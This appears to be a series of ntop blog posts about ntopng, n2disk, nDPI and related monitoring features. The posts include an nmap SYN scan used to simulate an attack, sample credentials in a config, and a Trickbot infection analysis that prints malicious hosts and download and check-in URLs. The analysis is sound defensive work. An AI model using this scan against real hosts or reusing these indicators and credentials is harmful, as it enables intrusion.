A few months ago, with ntopng 3.8, we introduced support for continuous traffic recording, that allows you to drill down historical data from the timeseries level up to raw packets. This is useful when troubleshooting a network issue or analysing a security event, by combining traffic visibility with raw traffic analysis.

In order to record raw data ntopng leverages on the n2disk application, which is able to capture full-sized network packets at wire-speed up to 100 Gbps from a live network interface, and write them into pcap files without any packet loss. In a previous post we’ve seen how to build a (cheap) continuous packet recorder, providing instructions for configuring the storage to be able to match the expected performance and size it to get the desired data retention.

Enabling traffic recording in ntopng is really straightforward and requires just a few clicks in the Interface -> (Recording) page as you can see in the screenshot below and explained in the User’s Guide, this as long as you need to process traffic at low/mid rates (up to 1-2 Gbps) and the performance provided by commodity network adapters using standard drivers are fine. In this configuration, both ntopng and n2disk are able to capture traffic from the same interface by leveraging on the linux kernel for receiving a copy of the traffic.

However, if you need to process traffic at high rates (10/40Gbit and above), you should consider using capture technologies able to deliver higher performance, like PF_RING ZC for Intel adapters or specialised FPGA adapters. As both PF_RING ZC and FPGA adapters are based on kernel bypass technologies, the drawback is that they do not allow you to capture the same traffic from multiple applications at the same time: this means that you cannot run ntopng and n2disk at the same time on the same interface.

In order to overcome this limitation, n2disk has been extended with a new feature: the ability to export flow metadata to ntopng, similar to what nProbe does. In fact, n2disk can be configured to capture raw packets, dump PCAP data to disk, and export flow metadata through ZMQ to ntopng at the same time. n2disk can do this at high rates thanks to the internal multithreaded architecture and by leveraging on the optimized PF_RING FT flow processing library providing support for high-speed Layer 7 flow classification.

The n2disk service can be configured creating a configuration file /etc/n2disk/n2disk-<instance name>.conf and is controlled using the systemctl utility on operating systems based on the systemd service manager. For details about the n2disk configuration please refer to the n2disk User’s Guide. In order to configure n2disk to export flow metadata, a ZMQ endpoint should be added to the configuration file by using the –zmq <endpoint> and –zmq-export-flows options.
It is a good practice to run n2disk using the ntopng user (-u <user> option) in order to make sure that the ntopng process is able to access the PCAP data recorded by n2disk and run traffic extractions. Such user is created when installing the packaged version available at http://packages.ntop.org.
Please find below a sample configuration, let’s call it /etc/n2disk/n2disk-nt0.conf, which is tied to the n2disk service instance n2disk@nt0 according to the configuration file suffix. In this case n2disk is aggregating traffic from 2 ports of a Napatech adapter, building index and timeline, and exporting flow information through ZMQ.

--interface=nt:0,1
--dump-directory=/storage/n2disk/pcap
--timeline-dir=/storage/n2disk/timeline
--disk-limit=80%
--max-file-len=1000
--buffer-len=4000
--max-file-duration=60
--index
--snaplen=1536
--writer-cpu-affinity=0
--reader-cpu-affinity=1
--compressor-cpu-affinity=2,3,4,5
--index-on-compressor-threads
-u=ntopng
--zmq=tcp://127.0.0.1:5556
--zmq-probe-mode
--zmq-export-flows

This n2disk service can be started with systemctl as below. As it is likely you want to run the service after a reboot, you also need to enable it.

systemctl enable n2disk@nt0
systemctl start n2disk@nt0

In order to process flow metadata coming from n2disk to ntopng, you need to add a ZMQ collector interface in the ntopng configuration file /etc/ntopng/ntopng.conf. Please find below an example of a basic ntopng configuration with a ZMQ endpoint in collector mode:

-i=tcp://*:5556c

This ntopng service can be (re)started with systemctl as below:

systemctl restart ntopng

As last step, you need to set the n2disk instance as external PCAP source in ntopng in the Interface -> Settings page, to be able to check the n2disk service status and drill down up to the packet level in ntopng. In order to do this, you need to select the proper instance from the Traffic Recording Provider dropdown in the collector interface settings page as shown in the screenshot below.

At this point it’s all set and you should be able to drill-down from charts and activities, to flows and packets, while processing 40/100 Gbps! In fact we’ve been able to process full 100 Gbps using “bulk” capture mode (n2disk is able to work in this mode when used in combination with Napatech or Fiberblaze adapters) and multithreaded dump writing to 8 NVMe disks in parallel on an Intel Xeon Gold 12 cores 3Ghz, while sending flow metadata to ntopng. Please take a look at the Continuous Traffic Recording section to learn more about the integration of ntopng with n2disk.

Enjoy!

Icinga2 is an open source monitoring system which checks the availability of hosts and services, notifies users of outages and generates performance data for reporting. Thanks to its scalability and extensibility, it has become very popular (as Nagios successor) and suitable to monitor complex environments, even across multiple locations.

Although popular, it falls short when it comes to monitor how the network is being used by certain host. There are several plugins for network monitoring available both in the Icinga Template Library and in the Icinga Exchange, however, they only provide very limited checks such as interfaces throughput, errors, or up-or-down status. Other plugins are available to monitor the status of services such as HTTP/HTTPS web servers or DNS servers, but again they don’t tell anything really valuable apart from a simple green-or-red/working-or-not-working flag.

We have the experience and the technology to tell additional, valuable information on how a particular host or service is being used, network-wise. For example, we can tell if a particular host is undergoing a SYN flood attack, if a certain webserver is being accessed by a blacklisted or malware IP address, or if a DNS server is being abused. This technology is ready and comes with one of our most popular tools ntopng. So the point was, how to deliver this extra knowledge from ntopng straight into Icinga2? Well, writing an Icinga2 plugin could have done the trick.

The basic idea behind writing a plugin is that, given any Icinga2 monitored host with IP address a.b.c.d, it is possible to leverage the plugin to connect to ntopng and extract a.b.c.d network status and health, returning such information to Icinga2 which, in turn, can use it to decide on the status of the host and its services.

ntopng Icinga2 Plugin

The Icinga2 plugin we have decided to write connects to the ntopng REST API to query for host alerts. Specifically, it queries:

• Host Engaged Alerts to capture ongoing host network issues (for example, the host is a victim of a SYN flood attack)
• Host Flow Alerts to capture suspicious or malicious flows involving a particular host (for example, the host has been contacted by a blacklisted IP).

The plugin code is available at https://github.com/ntop/ntopng/tree/dev/tools/icinga2 along with other files necessary for Icinga2 to properly interface with the plugin.

Setting Up the ntopng Icinga2 Plugin

To set up the plugin, assuming you’ve already an Icinga2 instance up and running, perform the following steps:

Download the plugin file check_ntopng.py into the PluginContribDir directory. The path to this directory can be found inside Icinga2 constants.conf file, which is typically located under /etc/icinga2/ under Linux.

cat /etc/icinga2/constants.conf | grep PluginContribDir

const PluginContribDir = "/usr/lib/nagios/plugins"

In this example, the PluginContribDir is /usr/lib/nagios/plugins.

Once the plugin is in place, it is necessary to download file check_ntopng_command.conf in /etc/icinga2/conf.d/ or in any other directory which is read by Icinga2 upon startup. The file contains the definition of a CheckCommand object, necessary to tell Icinga2 how to interface with the plugin.

Then, download and place file check_ntopng_service.conf in /etc/icinga2/conf.d/ or in any other directory which Icinga2 is aware of. This file contains the definition of two Service objects, one to check for host engaged alerts ("ntopng-icinga-host-health") and another one to check for host flow alerts ("ntopng-icinga-host-flows-health"). Those two files will automatically apply the services to all the Icinga2 monitored hosts.

Finally, a bunch of constants should be configured to tell Icinga2 how to properly reach and authenticate to the ntopng REST API. Such constants go inside file constants.conf, the same file used above to locate the PluginContribDir directory.

Constants are the following

# cat /etc/icinga2/constants.conf | grep Ntopng
/* Ntopng */
const NtopngHost = "127.0.0.1"
const NtopngPort = 3000
const NtopngInterfaceId = 0
const NtopngUser = "admin"
const NtopngPassword = "admin1"
const NtopngUseSsl = false
const NtopngUnsecureSsl = false

NtopngHost and NtopngPort tell Icinga2 how to connect to the ntopng REST API and NtopngUseSsl whether SSL has to be used for the connection (NtopngUnsecureSsl set to true prevents the plugin from checking SSL certificates validity). When the ntopng authentication is enabled, NtopngUser and NtopngPassword are necessary to indicate a user/password pair which will be used by Icinga2 to authenticate to the REST API. Finally, NtopngInterfaceId is used to tell Icinga2 the id of the ntopng interface which is responsible for the monitoring of traffic.

Running Plugin Checks

Let’s see now how this plugin works and what we can expect from it. Let’s assume Icinga2 monitored host with address 192.168.2.222 is trying to contact a malware host, maybe because it has been infected.

Before the contact, service "ntopng-icinga-host-flows-health" is OK

But as soon as 192.168.2.222 contacts a malware host (contact which has been simulated by pinging one of the hosts in blacklist for the sake of this example), the service becomes CRITICAL and all the necessary notifications will be sent by Icinga2

At this point, to have additional information, one can jump into the ntopng web user interface to find this malware flow among the host flow alerts

Similarly, let’s assume 192.168.2.222 has been configured, in ntopng, to be considered a victim of a SYN flood when it receives more than 10 SYN per second for three consecutive seconds.

Before the SYN flood, service "ntopng-icinga-host-health" is OK

But as soon as 192.168.2.222 becomes a victim of the SYN flood (the SYN flood has been simulated, for the sake of this example, with nmap -sS 192.168.2.222), the service becomes CRITICAL

Again, to have additional information, one can jump into the ntopng web user interface where this alert will show up among the host engaged alerts

Conclusion

We believe this plugin is the first step towards making Icinga2 not just a tool which checks the availability of hosts and services, but also a tool which gives extended information on how such hosts and services are being used from a network perspective.

Feel free to try the plugin and give us feedback!

RFC8520 (Manufacturer Usage Description) specifies what is the intended (from the manufacturer standpoint) network behaviour of a network device. Being it defined in JSON format by the device manufacturer, it can be used for simple single-task devices such as a printer or an access-point where the device communications are simple and well defined. Typically a device specifies in DHCP requests the URL of a MUD file [image below courtesy of osMUD]

that is defined by the manufacturer specifying what IP/ports the device can access. The URL is passed to an additional network component named MUD manager that downloads the URL and reports to the local policer (typically the network firewall) what is the allowed policy for the device so that unexpected communications are now allowed. As you can see this model can work only with simple devices where the behaviour can be mapped easily, but it falls short with general purpose devices such as a tablet or a PC where it is not possible for the manufacturer to decide what is the allowed device policy by restricting communications to specific sites and services.

Despite all these limitations, the MUD is a good starting point for representing device behaviour onto a simple JSON file that can be exchanged across hosts to enforce device network policies. In ntopng we have recently enhanced the alarming system to track misbehaving traffic flows, and with MUD we can bring this to the next level by using it to track unwanted communications (in passive monitoring mode) or block them (in inline mode). Prior to do this we have to enhance MUD to make sure it works not just for single-task devices but also for general purpose devices. The solution we have adopted is to observe device behaviour for some time (e.g. one day) in a sort of “training mode” and past this time use the known behaviour to match network traffic flows. To make this effective we have enhanced the MUD specification by adding extra information fields that make it suitable also for generic devices. In particular we have replaced for non-local traffic flows IP/ports with nDPI information, and used fingerprints (JA3 and HASSH recently implemented in nDPI) to further characterise network traffic. A typical MUD block now looks like

{
   "matches":{
     "ja3":{
       "source-fingerprint":"d3e1de2ca313c6c0a639f69cc3e924a4"
     },
     "ipv4":{
       "protocol":6
     },
     "ndpi_l7":{
       "application":"tls"
     }
   },
   "actions":{
     "forwarding":"accept"
   },
   "name":"from-ipv4-pc-ntop-64"
 }

If you update to the latest ntopng build you will see (for local hosts) a new preference under the host page that allow you to tell ntopng to start monitoring host traffic in order to learn device network behaviour and thus create a host MUD specification.

After you enable MUD recording you will see two new icons that allow you to download the MUD file or to trash the known MUD host information and start over. This is work in progress as we currently generate only MUD without using it. In particular the items under development include

• Ability to import an existing MUD file instead of learning it.
• Trigger traffic alerts based on the known MUD behaviour.
• As ntopng is able to discover network assets and thus map them to categories, we need to automate MUD generation by removing the drop-down menu where a network admin is asked for device type (either generic or single-task device) as this information can be inferred looking at network traffic.
• Enable MUD auto-learn mode so that whenever a local device appears on the network MUD generation is triggered.

While we develop MUD support in ntopng, we would be glad if you could tell us more about the current plan and thus send us ideas and comments.

Enjoy!

This week we have presented at Suricon 2019 our work about unifying ntopng with Suricata.

In short:

• Suricata is a great tool for analysing individual flows but
  • It lacks a GUI
  • It is blind to security threats when they use non-standard ports
  • It is mostly blind to encrypted traffic
  • It does not provide a comprehensive view of the network but it is focusing only on flows.
  • It is able to dissect only about 20 protocols with respect to 250 nDPI supports
  • It is blind with respect to containers
• ntopng is great but
  • It does not offer signature-based security as Suricata does

So why not combine them together and create a comprehensive tool you can use to merge security and visibility? This allows people to avoid Elastic-based export+visualisation that are not natively merging information, and use Grafana or InfluxDB tools to create great dashboards with network+security data merged properly.

These are our presentation slides in case you are interested to details. Please let us know what you think and enjoy!

In short: encryption does not always mean that all the information exchanged is really encrypted. Another myth is that many people believe that the equation “encryption = security” holds. Unfortunately this is not true.

This slide deck we presented at Sharkfest Europe 19 shows in practical terms what information is sent in clear text in popular protocol as well what information encrypted TLS traffic reports unencrypted.

Enjoy!

ntop tools are known for monitoring network traffic. However this traffic has to flow on physical networks and thus it is important to understand the physical network layout. LLDP (Link Layer Discovery Protocol) is a network protocol used to dynamically build network topologies and identify network device neighbours. In the latest ntopng dev build (that will be merged in the next v4 stable) we have enhanced the SNMP monitoring capabilities with LLDP support.

if your SNMP devices have LLDP enabled, ntopng now polls this information and build an adjacency graph similar to the one below.

You can click on nodes (they represent SNMP devices) to zoom on the specific device, or to drag and zoom using the mouse as you would do with force directed graphs. You can click on the Topology menu item to see a detailed adjacency view and identify device neighbours and connection ports.

In order to see a full meshed topology you need to configure all your SNMP devices in ntopng so they could be periodically polled and the adjacency graph created.

Thanks to this new development you can map a monitored host to a physical port, and now you can depict how this port is connected (for instance at layer-2 that is invisible to tools such as traceroute) to the rest of the network.

Enjoy!

One of the most useful features in applications, is the ability to

• Update the application with a matter of click with no need to move to the terminal console.
• Instruct the system to update the application as a new version is available.

We have realised that many of our users missed this feature in ntopng for a long time, and so we decided to implement it. Currently it is part of the nightly builds, and it will be included in the next stable release. As this feature depends on the operating system, we have decided to implement it for all the Linux distributions (sorry, no Windows support) for which we package our tools and that can be found at http://packages.ntop.org.

Once you have installed the latest ntopng, you will see a new menu item under the wheel menu:

You can force the check for a new ntopng version and manually install it if a version is available. In case you want to check for a new version, you need to allow a few seconds as the check is performed via cron at one minute granularity in case it was requested by the use. Every night we check if a new version is available, so in the morning you don’t have to do it yourself manually.

In case you want ntopng to self-update itself overnight, you can find a new preference item under the “Updates” section. By default ntopng does NOT update itself overnight as we do not want to restart ntopng unless necessary, but if you want you can enable this preference and thus let ntopng do everything automatically on your behalf.

Enjoy!

This February we’ll introduce ntopng v4 and we’re starting to write some blog posts to preview the new features. Let’s start with the user interface. Since v1 the UI has always been the same. People however asked us some more flexible layout where it is possible for instance to switch across network interfaces in a breeze. Furthermore the pervasive use of dark themes was also a driving force towards changes. While the UI in 4.2 will integrate new changes we already planned (for instance to switch from realtime to historical view, while currently it is mixed) let’s start with a new sidebar design that should leave more space on wide screens.

With the new UI, already part of the dev branch/packages, you can have both dark and light theme that you can choose/switch from the preferences panel.

So you can decide which one fits best for your (eye) needs. Please let us know on the telegram channel your feedback as we’re still making little changes.

Enjoy!

Last year you have read how we have integrated Suricata support into ntopng. While an IDS is a good source of data, it is just a sensor, how has no knowledge of the big network picture including the network overview, past host/flow history and device type. In essence an IDS is a nice to have but it’s not enough. What it is necessary is the ability to analyse traffic, learn what is wrong, compare current behaviour with the past, and draw some conclusions (i.e. read them as emit alerts) that could be used by network analysis to understand what’s wrong in the network. This is in essence what we have implemented in the upcoming ntopng.

All is driven by user scripts that can be accessed from the setting menu.

Scripts are executed periodically (e.g. every minute) or at events (i.e. when a flow protocol is detected). Here you can see the entities on which scripts are applied.

Below you can see flow scripts

and host scripts

You can modify the script thresholds by clicking on the edit button where you can specify parameters that drive the alert generation.

Scripts are used to generate alerts that are then consolidated per entity (hosts, autonomous systems, networks…) with a numerical value called score that is computed every minute based on the alerts generated by the scripts.

Under the flow/hosts page you can sort items according to the score to immediately see the consolidated view of where the problems are. Just sort according to the score to let ntopng drive you where problems are.

If you click on a host you can see the current number of issues reported, and the active alerts number.

Clicking on the chart next to the score field, you can see how the host score changed overtime.

Of course you can use the alert and flow explorer to drill-down as see the exact nature of the network issues.

All this is part will be part of the upcoming ntopng v4. Enjoy with the dev build now, and soon with v4.

NetFlow/IPFIX specifications have not considered privacy and confidentiality important. Exported flows are sent over unencrypted channels that prevent them to be exchanged on public networks unless techniques such as VPNs are used. Today encryption is no longer an option, and thus we have added encryption support in all our tools when flows are exchanged over ZMQ channels (e.g. when nProbe sends flows to ntopng). In order to use encryption a private/public keypair needs to be generated on the collector side (i.e. ntopng) and configured on all the probe applications sending flows to ntopng (e.g. nprobe or cento). In order to do this, the following steps needs to be performed:

1. Start ntopng adding the —zmq-encryption option. This option will generate, if not existing, the encryption keypair for all configured ZMQ interfaces.
2. Connect to the ntopng web gui and select the ZMQ interface information page and copy the value you have to put in –zmq-encryption-key <…> parameter
   
3. Start nprobe sending flows to the collector ZMQ interface according. In the above example something like nprobe --zmq tcp://127.0.0.1:1234 --zmq-encryption-key 'k8{zm*.r&99Iavul#bt9(H:[8RYco?Ko58l&6(((' -i ethX will do the job

As ZMQ keypairs are generated per interface, you need to make sure that the pair <nprobe, ntopng> will use the same encryption key values for the same ZMQ interface.

Note:

• If you have multiple ZMQ interfaces, each interface will have a different keypair that you need to configure on the corresponding probe.
• Data encryption is currently available in nightly builds and will be included in the next stable release.

You can now safely exchange flows over public networks overcoming the limitations of NetFlow/IPFIX.

Enjoy!

After over one year of work, we’re proud to announce you that ntopng 4.0 is finally out. In this time we have redesigned ntopng for speed and openness, by breaking apart the existing monolithic C++ engine into a Lua-scriptable micro-engine. This is to enable people to contribute to the project without them being scared of coding in C++.

The major breakthroughs we have brought with this release are:

• A plugin engine that allows anyone with some basic Lua coding skills to tap straight into every single flow, host, or other network element and perform custom actions such as the triggering of alerts
• A fresh graphical user interface, featuring new icons, a refreshed look and feel, and light/dark themes
• The active monitoring of hosts Round Trip Times (RTTs) for HTTP, HTTPS, ICMP and ICMPv6
• Many cybersecurity-related features, including SSH and TLS fingerprinting, TLS analysis and alerting, and Suricata events integration

The plugin engine is probably most important breakthrough of v4: all the entities (e.g. flows, hosts, networks, SNMP…) are now driven by scripts that are executed based upon events. A typical event is a new flow dissected, a SNMP polling session, or a host just appeared on the network. Scripts can perform actions (e.g. monitor RTT of selected hosts issuing periodic ping) or trigger alerts based on thresholds or severity reported by the score. More in detail:

• Flows: flow plugins execute when a new flow is detected, when it’s been active for a certain time, or when it’s gone idle. Want to create an alert as soon as a flow is found to be going to a suspicious country? Need to detect Dropbox flows that are transferring too much data or outside business hours? Those are just a couple of things that can be done with flow plugins!
• Hosts: host plugins execute periodically on all active hosts. This allows anyone to create custom actions of virtually any kind. For example, host plugins can be written to detect hosts that are doing too much traffic, or to spot those that are probing the network with SYN scans, just to name a few.
• Other network elements: other plugins can be executed for instance when an interface is dropping too many packets, when the load of the system on top of which is running ntopng exceeds a given threshold, or when an interface of an SNMP device goes down, among many others.

Everything happens through the GUI: enable/disable/view source code / set alarm thresholds. You can read more in the development section of the user’s guide for developing your own plugin.

As you can have noticed from the screenshots above, v4 has a new, responsive look and feel. The navigation bar has been moved from the top to the left of the page to optimally use the space available on wide screens which are common today. In addition, the status bar, which was previously placed at the bottom of the page, has  been moved to the top, to make the essential ntopng status information always visible and available to the user. The user interface is now skinnable through themes, including a dark theme designed to reduce eyestrain to those that spend a lot of time in front of the screen.

As previously said, we have decided to enrich ntopng with new cybersecurity-oriented features mostly based on the work we have done on nDPI. In particular, 4.0 features SSH fingerprinting with hassh, TLS fingerprinting with JA3. Fingerprints are good indicators for good/bad traffic, especially today where the traffic is encrypted and thus it is increasingly difficult to understand it. Check out “Effective TLS Fingerprinting Beyond JA3” and “How Encryption Changed Network Traffic (Monitoring). Finally.” for extra information. TLS is not only fingerprinted, it is also thoroughly analyzed to check (and alert) when invalid, expired or mismatched certificates are detected or when certain cipher suites are weak. Everything about the TLS analysis is explained in the article “TLS/SSL Analysis: When Encryption and Safety Are Not Alike“. In terms of security, v4.0 can also easily be connected with Suricata for unprecedented visibility into traffic and security events!

Another new feature of v4 is the ability to actively monitor hosts latencies (aka RTT, round trip time): we’re complementing traditional passive traffic monitoring with active probing for keeping track of selected relevant assets. Currently, RTT probes are available for HTTP, HTTPS, ICMP and ICMPv6 and allow the user to quantify hosts RTT, and receive alerts when anomalous RTT values are detected or when monitored hosts become unreachable.

A comprehensive list of changes introduced in this major release is available in the changelog. As usual, ntopng installation instructions are available at packages.ntop.org. Try and experiment it, suggestions and contributions are very welcome! And why not joining us on our official telegram channel @ntop_community?

This release has been a major effort, and we expect people to contribute with plugins and scripts. We aim at creating a single comprehensive tool for network security and visibility. Hope to see your pull requests soon on GitHub.

Enjoy!

For a long time out MacOS users asked a native ntopng package.

Even though we use MacOS and Linux to develop our tools, we didn’t consider important to revamp the MacOS installer (ntopng 1.x has a native MacOS installer) as there are solutions such as brew.sh that allow you to install packages. However such tools are not for all Mac users who not necessarily like to use the command line. Thus we have created a native package that installs in one click all the required components (e.g. Redis) needed by ntopng.

You can now go to packages.ntop.org and click on your platform for downloading the package you are looking for.

If you need to know more about ntopng, you can glance through the user’s guide that contains detailed installation instructions.

The latest stable ntopng 4.0 features a Round Trip Time (RTT) monitor which is capable of pinging hosts on a minute-by-minute basis to check:

• IP reachability with ICMP and ICMPv6 pings
• Web servers functionality with HTTP and HTTPS pings

Checks account for the RTT, that is, the time it takes to reach a certain host and receive a response from it. ntopng shows all the RTT-monitored hosts under the System Interface

For each monitored host ntopng offers the following information

• The full URL of the monitored host. The URL is the concatenation of the host name or IP address with a prefix which indicates the type of probe, namely one icmp, icmpv6, http or https
• A link to a RTT chart with all the minute-by-minute historical measures
• A threshold, expressed in milliseconds, used to trigger alerts
• The time of the last measurement performed
• The latest IP address resolved for the host name indicated in the URL
• The value, in milliseconds, of the latest measured RTT
• Buttons to delete or edit the configured host

Hosts can be added to the RTT monitor using the plus sign in the top-right corner of the table

Hosts can be added either by IP address or with their symbolic host name. In case a symbolic name is specified, ntopng will resolve it before performing the ping. A measurment needs to be specified as well in order to indicate the type of ping desired. Finally, an RTT threshold is requested for the alerts generation.

RTT Alerts

Alerts are triggered when the measured RTT is above the configured threshold, or when the host is unreachable. Configuring a threshold is contextual to the addition of an host among those monitored. Alerts are shown under the triangle entry of the RTT menu bar.

Alerts can either be engaged, for currently ongoing issues, or past, for issues occurred in the past.

RTT Timeseries

RTT timeseries are written automatically by default for any of the RTT-monitored hosts.

Conclusions

ntopng 4.0 is becoming an increasingly active monitoring tool. It adds to the active network discovery and SNMP polling of its predecessor ntopng 3.8 also ICMP, ICMPv6, HTTP and HTTPS ping capabilities. Keeping an eye on hosts on a minute-by-minute basis is now a straightforward thing to do using the RTT Monitor.

Soon we will make this monitoring mechanism more extensible so that people can add their own monitoring tool to make it more flexible than just latency monitoring. Enjoy!

The latest ntopng 4.0 has a renewed look. The main changes we have introduced are:

• An always-on-top status bar. Key information on the health and status of the network is essential for the analyst and it must be always visible and easily accessible. This is why we have introduced an always-on-top fixed status bar with key information such as network throughput, active hosts, flows, and ongoing alerts. This information was previously placed at the bottom of every page so it was difficult to access it and a lot of scrolling was necessary.
• An optimized layout for wide screens. 16:9 wide screens are common so it is important to optimize the layout of the pages for this kind of screens. Hence, we have introduced a vertical main menu bar on the left. The main ntopng menu bar was formerly horizontal and this was taking precious space that can now be used for actual page data.
• Dark and light themes. Being able to choose the colors of the graphical user interface it is not only a matter of personal preferences, it is also very helpful for those who spend a lot of time in front of a screen. Having darker colors helps relieving eyestrain of people who look at screens for hours and hours every day. Therefore, to help those people, we have added a dark theme. Another light theme is also available for those who prefer a bright interface. Those two new themes come in addition to the default one.

Want to see the results? Here are some screenshots

Well, now its time for you to try ntopng 4.0 out! Check this page out to find a package for your distro: https://packages.ntop.org/.

Ongoing health emergency demands business to enable employee work from home: call it smart working or (better) remote working. This process puts pressure on the company Internet connection as many (if not all) the activities need to be done remotely. Working from home is a good practice in order to avoid extra personal stress and reduce virus spread, this only if company’s Internet lines have enough capacity to handle all the remote workers.

How can you measure this extra traffic (with respect to days before the emergency) and optimise your infrastructure? Now this is possible deploying ntopng on your company network. Simply enabling the syslog export from your VPN Concentrator and having the right ntopng version (this feature is implemented in the current development version of ntopng) you can do that: you could be enabled to verify in real time what’s your remote workers are doing, in a ntopng fashion.

For example you can do assurance of remote workers traffic, performance, behaviours and all the other things ntopng allow for traffic analysis. Starting from version 4.0 you can not only visualize the actual traffic ntopng is analyzing, but you can correlate also the trusting level of the traffic and measuring it with extra level of confidence: black listing, encryption level, behavior score, etc etc. As described in the users guide, you can define a syslog interface and specify the log producer configuration.

For instance in the above example the system collects flows from three different devices each with a different vendor configuration. Thanks to this ntopng is the main place to control and visualize your network health status, not only with mirrored interfaced, but with help of external feeds such as nprobe and syslog:

• nProbe can collect local or remote device traffic in order to be visualized and tracked via ntopng panel.
• syslog enables ntopng to correlate remote VPN username with a network address.

Let’s now consider a simple scenario: the firewall that segment the network send flows to ntopng and nprobe that accept syslog from VPN Concentrator.

Components

• Firewall. It export sFlow/nFlow/IPFIX to nProbe that send them in ZMQ format to ntopng.
• VPN Concentrator. It send syslog to ntopng.
• ntopng aggregate flows and correlate VPN IP Addresses with remote Username
• nprobe collect firewall flows and send them to ntopng via ZMQ.

Our Monitoring Goal

• Do assurance of firewalled traffic, this starting from remote users.
• Have historical and statistical data about VPN Users and firewall flows.
• Optimises the bandwidth based on monitored metrics.

Don’t forget that if you have multiple branches or location you could reach the same goals deploying remote nProbe instances to collect local traffic, and send it to central ntopng in encrypted way without NAT boundaries.

In other words, there are no technical limitations to the solution but only limits that you don’t want to overcome. Do you need more info? Feel free to contact us.

In v4 we have introduced active monitoring in ntopng and since then we are improving in the 4.1.x development versions. In order to enable it you have to selectd the “System” interface from the top menubar and select “Active Monitoring” from the left “System” menu.

On that page you will see a table containing all your measurements. The code has been written in a modular way, so that available measurements can be extended as necessary simply adding a new lua script. As you can see from the measurements source, you simply have to create a new lua file for performing the measurement and throw it in the measurement folder for being executed.

Currently the following measurement families are supported:

• ICMP ping: send a scheduled ping (e.g. every minute) and measure the RTT (Round Trip Time).
• Continuous ICMP ping: same as above ping but continuous (send a ping every 3 seconds) to better evaluate continuous network reachability and thus service availability.
• Speedtest: evaluates the available bandwidth (up and down) as well the latency using the speedtest.net service.
• HTTP/HTTPS: periodic test HTTP(S) availability by contacting a remote web server.

The goal of the above measurements is to perform periodic activities and trigger alerts when something goes wrong.

For every measurement there is a threshold that is checked and in case the measurement does not satisfy the threshold, an alarm is triggered.

Such alarm stays open until the problem is solved that happens when the measurement is under the threshold. Note that for certain measurements such as continuous ping the threshold is an upper threshold: as the goal of this test is to continuously monitor service availability (measured as the number of successful ping replies with respect to issued ping requests), in this case this is an upper threshold (i.e. trigger an alert when availability goes below a certain threshold).

This is the current state of the art. What we’re trying to do is implement flexible alert generation. This means that we would like to alert selected recipients for a given alarm (today we alert all recipients the same way, instead of alerting recipient A for measurement X, and recipients B,C for measurement Y), and execute for instance a recovery action when something goes wrong.

Furthermore we’re working at additional measurements and we would like our community to contribute: please raise your hand.

Enjoy!

Trickbot is a malware distributed via malspam, spam emails containing links for downloading malicious files that infect computers.  A pcap file of a trickbot infection named 2019-09-25-Trickbot-gtag-ono19-infection-traffic.pcap can be downloaded at this URL. You can analyse the file using nDPI as follows

ndpiReader -i 2019-09-25-Trickbot-gtag-ono19-infection-traffic.pcap -v 2 -J > /tmp/trickbot.txt

Let’s now open the trickbot.txt file and search for “Risk”. This is a tag added to nDPI analysed flows when there is a non-zero security risk associated with the analysed traffic. Most problems include:

• Obsolete TLS protocol with self-signed certificate

  TCP 10.9.25.101:49457 <-> 187.58.56.26:449 [byte_dist_mean: 119.838346][byte_dist_std: 53.974475][entropy: 4.786248][total_entropy: 2546.284046][score: 0.9964][proto: 91/TLS][cat: Web/5][10 pkts/1532 bytes <-> 11 pkts/2197 bytes][Goodput ratio: 64/73][26.63 sec][bytes ratio: -0.178 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/0 3328/819 20084/4504 6493/1528][Pkt Len c2s/s2c min/avg/max/stddev: 54/54 153/200 459/1376 133/376][Risk: ** Self-signed Certificate **** Obsolete TLS version (< 1.1) **][TLSv1][JA3S: 623de93db17d313345d7ea481e7443cf][Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd][Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd][Certificate SHA-1: DD:EB:4A:36:6A:2B:50:DA:5F:B5:DB:07:55:9A:92:B0:A3:52:5C:AD][Validity: 2019-07-23 10:32:39 - 2020-07-22 10:32:39][Cipher: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA]

• Binary executable download (this is how trickbot infects the PCs when people click on malspam links)

  TCP 10.9.25.101:49197 <-> 185.98.87.185:80 [byte_dist_mean: 144.678397][byte_dist_std: 72.649105][entropy: 0.000000][total_entropy: 0.000000][score: 0.9990][proto: 7/HTTP][cat: Web/5][163 pkts/9113 bytes <-> 371 pkts/520336 bytes][Goodput ratio: 3/96][69.52 sec][Host: 185.98.87.185][bytes ratio: -0.966 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 623/25 60010/4824 5733/276][Pkt Len c2s/s2c min/avg/max/stddev: 54/54 56/1403 204/1514 16/164][URL: 185.98.87.185/tablone.png[StatusCode: 200][ContentType: image/png][UserAgent: WinHTTP loader/1.0][Risk: ** Binary application transfer **][PLAIN TEXT (GET /tablone.png HTTP/1.1)]

• Known protocols (TLS) on non-standard ports

  TCP 10.9.25.101:49464 <-> 170.238.117.187:8082 [byte_dist_mean: 71.693632][byte_dist_std: 36.108533][entropy: 4.780162][total_entropy: 20344.368866][score: 0.0085][proto: 7/HTTP][cat: Web/5][9 pkts/4738 bytes <-> 8 pkts/556 bytes][Goodput ratio: 89/22][59.19 sec][Host: 170.238.117.187][bytes ratio: 0.790 (Upload)][IAT c2s/s2c min/avg/max/stddev: 0/842 8335/9414 46230/46230 15705/18411][Pkt Len c2s/s2c min/avg/max/stddev: 54/54 526/70 1514/174 623/40][URL: 170.238.117.187:8082/ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946E42/90[StatusCode: 0][ContentType: multipart/form-data][UserAgent: test][Risk: ** Known protocol on non standard port **][PLAIN TEXT (POST /ono)]

The above evidences are already enough to say that host 10.9.25.101 is doing something malicious that is worth to be analysed. However ntopng can help you do it more easily by means of the graphical interface and also because it enriches nDPI analysis with:

• Use of IP blacklists to identify compromised hosts.
• Malware anomaly score used to easily spot sources of trouble.
• Alert analysis accumulated per host, AS, network…

The same pcap can be ntopng analysed as follows

ntopng -i Downloads/Trickbot/2019-09-25-Trickbot-gtag-ono19-infection-traffic.pcap

Going in the Hosts => Host Explorer page it is possible to select “Alerted Flows” to analyse hosts according to the number of alerted flows they have active. As you can see you can immediately realise that two hosts, BACHMAN-BTO-PC and 187.58.56.26 and the two outliers, and two suspicious hosts.

Clicking on BACHMAN-BTO-PC you can see that this host as a score of over 12’000 that is clearly an indication of security issues.

A very high score of over 2500 is also reported for the other host 187.58.56.26.

